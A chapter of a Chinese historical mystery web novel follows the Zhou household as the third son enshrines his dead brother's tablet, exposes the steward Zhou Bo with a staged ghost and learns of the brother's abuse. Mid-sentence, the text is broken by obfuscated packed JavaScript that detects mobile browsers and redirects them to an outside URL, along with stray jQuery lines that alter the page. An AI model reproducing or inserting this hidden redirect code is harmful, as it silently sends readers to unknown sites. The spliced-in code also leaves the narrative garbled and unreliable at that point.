翌日,乌云黑压压的一大片笼罩在京师上方,压得的人喘不过气来,似要落雨。骤然风起,却没能将这乌云撞散,反而将一户人家门前挂起的两盏白色灯笼刮得一颠一颠的。
安远坊,周府。黑色雕花大门紧闭,门前的灯笼今日突然换上了白色的,丫鬟与小厮出出进进表情严肃。几个丫鬟在游廊上窃窃私语。
“听说了吗?三少爷今天将二少爷的牌位放在祠堂供起来了。”
自从十年前出了那件事之后,府中谁还敢提起二少爷。当年虽然发了丧,但是二少爷的牌位一直没有出现在祠堂,三少爷性情也变了,没人敢对此有半点疑问,就连老管家也是缄口不言。
“是啊,松风阁的门一早就被吩咐打开了。叫我们里里外外地打扫了一通。”
一个洒扫的小丫鬟端着一个盆,她刚从松风阁出来,此时她瞅了瞅周围,看没有其他人,便和旁边的丫鬟凑近了些,用了气声对她道:
“刚刚我从松风阁出来,看见三少爷放了一个锦匣在桌案上,也不知道装了什么。”
“你说,会不会是当年的事情有了重要线索,三少爷觉得可以告慰亡灵了,才将牌位请出来?”
当年周家的二少爷是个多么惊才艳绝的人物,怎么突然失踪,失踪后回来还用那样决绝的方式自杀呢?她们也希望真有线索,能让二少爷走得安心,毕竟二少爷生前待她们也是顶好的。
“我猜也是,当年三少爷抱着二少爷凉透了的尸体一直不愿意放手,想来这事也成为他的一块心病了....”
“咳——”一声重重的的咳嗽声打断了两个小丫鬟的对话。两人回身一看大惊,连忙行了个礼。“周总管。”
管家周伯拧着已经发白的眉毛,脸色在阴沉的天色下显得更加严肃,“我看是府中太闲了才让你们在这嚼舌根。”
两个人听到训斥匆匆忙忙离开了。周管家看着二人离开的方向若有所思,一双混浊的眼中闪着晦暗不明的情绪。
宅院中,夕阳的余晖洒在院内的两棵枇杷树上。树还尚幼,枝桠间都是嫩嫩的芽黄。被阳光照透,呈现出一片鲜活之气。
东院里,几个孩童从厅堂内跑出来,为首的是个扎着双鬟髻的小姑娘,一双眼睛大而有神,嘴却翘得老高,迈着步子就往正院里正绣着花的妇人跑了过去,然后一把抱住她的大腿开始告状:“娘,三弟抢了我的糖糕!”一边抱着大腿,一边还挤出了几滴眼泪来。
那妇人只把她的小动作收进了眼里,笑着摇摇头,正要开口,就见两个小少年跑了过来,看到妇人先是向她行了个礼,其中一个少年眸如灿星,看向脸蛋埋进妇人怀中的小姑娘,嘴角挂着笑,手指刮过自己的脸颊,声调张扬,“阿姊,明明是你和我赌书输了,怎么反倒赖我?真是羞!”
妇人帮那小姑娘整理好散掉的发髻,一脸宠溺地轻轻拍着她的脸,“好啦。晚点你爹就回来了,倒时候哪里少得了你的糖糕。”
小姑娘这才把脸转过来,可嘴巴翘得还是能挂的上一只小桶。
最末的那少年比起其他两个孩童,身量要高一些。年纪虽小,性子瞧着却端重,眉眼一片温润之色,嘴角挂着浅浅的笑,从袖子里拿出一个黄油纸包,柔和地向那小姑娘道:“阿姊,我不喜甜,我的那份给你吃罢。”
他越走越近,越走越慢,本来手中递出的糖糕,此时却变成了一把长剑,长剑滴着血,再抬头看,只见他的脖颈之间不断渗出血迹,前一秒还处在金色余晖中的温馨宅院,下一刻突然血雾弥漫。
“唰——”
盥室内,水汽蒸腾,周啸阑从浴桶内坐起身,乌发如墨散在白皙紧实的肌理之上。一只骨节分明的手一把抹去了脸上的水滴,声音透露出一丝刚醒过后的嘶哑:
“几时了?”
“回公子,已经巳时了。”
他闭了闭眼,已经许多天不曾做过这样的梦了。
“东西可曾备好?”
“都已备好了。”
周府的家祠中,几个丫鬟正将祭祀的贡品一一端上供案。往日最右边的空缺,此时树立了一尊牌位,与另外两个牌位并排在一起。
周啸阑着了一身素服,立在供桌前,丫鬟端来一个金盆,他于盆内净了手。来到供桌前,不知什么时候供桌前放了一台焚纸炉,他单膝跪立在焚纸炉前,一张张黄纸被燃起蓝黄色的火光,在他白皙如玉的脸上晃动着。
家祠内人人噤声,只听得见风刮黄纸的声音。良久,周啸阑对着那牌位,眼眶发红,开了口。
“兄长,从前我无颜面对于你,如今案子总算有了眉目。兄长莫要怪我来得太迟。”
他的声音包含凄凉与悲痛,在场几个周府的资深丫鬟已经红了眼眶,除了大少爷死的那日,谁又见过三少爷如今这般将情绪挂在脸上?他惯常笑,可这十年中,那笑总像是隔着一层什么似的。
周啸阑又拾了些黄纸,然后点燃,“你放心。待明日我将关键证据带去北镇抚司,就可真相大白。”
“如果你在天有灵,就请佑我明日查案顺利吧。”
祭祀正有条不紊地在周府的家祠中进行。只听“吱嘎”一声,大门被人大力推开。几个丫鬟正要上前阻拦,“好大的胆子,这里是周府的家祠.....”一个年岁稍长的丫鬟拽了拽开口的丫鬟。
只见来人挽着单螺髻,发间一支金步摇,一身织锦流云裙衬得矜贵异常,眉目却是一片凌厉之色。“大小姐?”青叶看着眼前的人,霎时眼眶发红,她和大小姐一起长大,本来是要跟随大小姐去往夫家的,可是临走前还是被大小姐劝下了,说她出嫁后,三公子身旁再也没有别的可以说得上话的人,因此,她便留下了。
来人便是周府的长小姐——周宴辞。自从十年前她出嫁后,已经有许多年没有回过周府了。
她目光灼灼看向家祠中跪着的背影,声音却很冷,“没想到我多年不曾回府,如今见这府中居然如此热闹。”
烧着冥纸的背影突然一僵,火苗蔓延,一点点侵蚀黄纸,眼看就要烧到捏着黄纸的手,他才似有所觉,将黄纸扔进了焚纸炉。
“阿姊,既然回来了,便同兄长问候一声吧。”
“你如何有脸祭拜于他?你莫不是忘了当日他是为何失踪?!”她的声音尖利,在场所有经历过当年事件的人心都被扎了一下。
如果那日没有去看杂耍班子,也许事情就会不一样......
她一步一步走近了,待走近时,才看到她已经泪水涟涟。
“若不是你.....若不是你...”她断断续续地说不出一句完整的话。
“是。若不是当日我央求兄长一起逃课,他不会失踪,更不会......”他说不下去了,自戕的画面太过惨烈,他不愿再回想。
“为何会是他?他明明那么温暖善良,待谁都是极好......”尤其是她。
周晏辞抓着他的衣襟,跌坐在地,从小兄长就最宠她,她本以为出嫁那日,兄长会为她送嫁,岂料竟是阴阳相隔。
周啸阑被她这样推搡着,也不辩驳,眼中辨不明情绪。只是抬眼看向她,抬手想要替她拭去眼泪却又颤颤将手收了回来,只低声说:“阿姊,别哭了。兄长该难过了。”
“为何不是你?!你现在在这里假惺惺的祭拜,他就能回来吗?!”
“啪——啪——啪——”
几声清亮的掌声响起,祠堂中走来一女子。众人转头望去,只见眼前人一身白色裙裳,乌发以木簪高高束起,清丽脱俗如世外仙子。
赵柔柯面色难掩讥诮,“这位夫人骂得好啊。”
“长兄如父,长姐如母,亲弟弟自戕而死,身为长姐,你.....又做过什么呢?”
她斜眼看着那女子,只见她浑身震颤,一双美眸中似是愧疚,也有痛苦。
周晏辞却无法反驳,从前她骄纵,有爹娘护着,爹娘死了,两个弟弟也将她宠着。
后来,二弟去了,她无法接受,自出嫁后便对此不闻不问,还将所有怨恨发泄在唯一的一个弟弟身上。他纵然做错了,可这十年愧疚也偿还了。
她又做过什么?如今来指责周啸阑她又凭什么?从前府中没人敢这样问,如今几句话却像是将她打醒了。
她爬起来,慢慢走向那牌位,然后上了一炷香。转过身来,她看着在焚纸炉前跪地的青年,几度张口,却是什么也没有说。走到那女子身旁时,她细细瞧她,然后轻轻拍了拍她的肩膀便转身离去了。
马车停在周府的门外,她踩着马凳正要掀开帘子进轿,一个丫鬟追出来。
“大小姐,这是三少爷托我带给你的。”
她递过去一个描金的木匣。
“他还说了什么?”
“三少爷他说,别回头,向前看吧。”
马车的车轮滚滚向前,轿内的人已经泣不成声。
木匣被打开,在那木匣中放了一本装订精美的书。
她想起来,周啸阑逃课那日,是要去寻这本书的。他说,要在出嫁时送给阿姊当成婚贺礼的。
是她,是她自知愧疚,却不敢承认。
她将书紧紧抱在怀中,再开口时,又是那个稳重端方的美貌妇人。
“将车再赶快一点吧。”
很快,马车消失于黄昏中。
是夜,松风阁的门被打开。
一个身影打量着四周,然后悄无声息地溜进了阁中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15524197|170764||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。正厅的桌案上放了一只描金的木匣,他轻轻拿起木匣,抱在了怀中。
正要出门之际,灯火蓦地将整个松风阁的厅堂照亮。一个声音从桌案后的一扇屏风处传来,“不打开看看吗?”
周伯赶紧打开那木匣,木匣之中空无一物。中计了!
周啸阑从屏风后走出来,看着眼前的人,叹了一口气。
“周伯。”
“十年前的那封匿名信,也是你偷走的吧。”
陈远之在江州时曾告诉他,十年前在他辞官离开京师之前,曾经收到了一封匿名信。他当时被文官弹劾,妻子的病情也越发严重,因此去意已决,不再插手此事。于是,他将这封匿名信托人送去了周府,只是没想到,十年间,这封信却没有到周啸阑的手上。
周啸阑一思量,就知道是府中人压下了这封信,才设了这么一出。只是,他没想到,来的人是周伯。
他走到桌案前,坐了下来,手指轻轻拂过桌案上的一盏笔架,在垂眼看到桌案前跪着不住磕头的人,目光却突然变得锐利,杀气崩发,“你明明最疼兄长,为何?!”
周安只是个下人,脑子没有太多弯弯绕,没想到今日这么一出居然是为了逼他出来。
他的额头已经磕出了血。
“三少爷,求求你,别查了。二少爷人已经不在了。就让他安息吧。”
周啸阑看着花甲之年的老人此时额头已经血迹斑斑却还是不停,他拳头攥紧,起身而去。离开前,在周安的身边停了一瞬。
“掩盖真相,真的就能让兄长瞑目吗?”
周安停了下来,眼中悲凉一片。
周安从松风阁走出来时,想要去祠堂给二少爷上一柱香的,可他担心二少爷怨他,便罢了。
他缓缓走到自己的房间,也不知道是怎么躺到床上的,也已经很深了,他却睡不着。翻来覆去间,烛火骤然熄灭。
一股阴风从窗棱处灌进来,冻得他打了个冷颤。他下地将窗关上。
转过头却看到一道身穿牙色儒袍的人背对着他,那人缓缓转身,只见原本光洁的脖颈间有一道豁口,血从伤口中流出,鲜红一片落在白衣上,触目惊心。
风将那人头发吹起,周安大骇,站不住脚往后跌了一跤。
那人,分明就是二少爷!
“你如此疼爱我,怎么忍心让我死不瞑目?”
“你明明都知道,可你却让真相蒙尘。”
“周伯,你糊涂阿。”
一句一句的质问,让周安入坠冰窟。难道......他真的做错了吗?
他跪在地上,向那白衣人磕头。“二少爷,是周安的错,你要有怨,就冲我来吧。”
那人的声音在阴风中愈发阴测测,“阴差说我是枉死鬼,入不了轮回。都怨你,都怨你!”
周安老泪纵横,抬起头来,不知什么时候蜡烛已经重新燃起,可二少爷怨恨的话却还在耳边不断回荡。
周府的家祠,牌位前跪了一个人,口中念念有词。
月色下,廊柱后出来两道身影。
赵柔柯一把撕下脸上的人皮面具,露出清丽面容。周啸阑盯着她那白如玉的脖颈,鬼使神差的用指尖沾了一点血迹,放在鼻尖闻了闻。是番茄酱的味道,还夹着一缕并不明显的甜丝丝的女儿香。
赵柔柯感觉脖子上被粗糙温暖的指尖划过,明明只是一瞬,她却感觉那块皮肤热热的,只好岔开话题。
“你说,我们这样,是不是太过?周伯年纪大了,万一给他吓出个好歹来。”
她看着那道年迈的背影,内心总是有点过意不去。
周啸阑瞥她一眼,“出主意的是你,如今倒怕了?”
看她面上似乎真有愧疚,于是道,“不吓一吓,他怎么好说出真相。”
子时已过,松风阁的门被敲响了,似是早有所料,房间一直燃着灯。他打开门,年迈的管家果然在门外。
周管家关上门,然后从袖中取出了一封边缘已经泛黄的信封。
正要拆开,却被他接下来的话震得站立不稳。
“二少爷.....二少爷他不是清清白白走的啊。”
周啸阑皱眉,“何意?”
“二少爷装棺之前,是我给他换的衣服。他浑身都是凌虐伤痕,不是一般的伤口.....是被侮辱折磨的......”
周啸阑捏着信纸的手已经泛白。
却听周管家继续道:“若此事查出,不说老爷夫人和周家祖先,世人如何看待周家,如何看待二少爷?”
屋内静了良久,久到周安以为不会听到回答了的时候,有人自厅堂后走出。
“脏的是这世道,不是他。”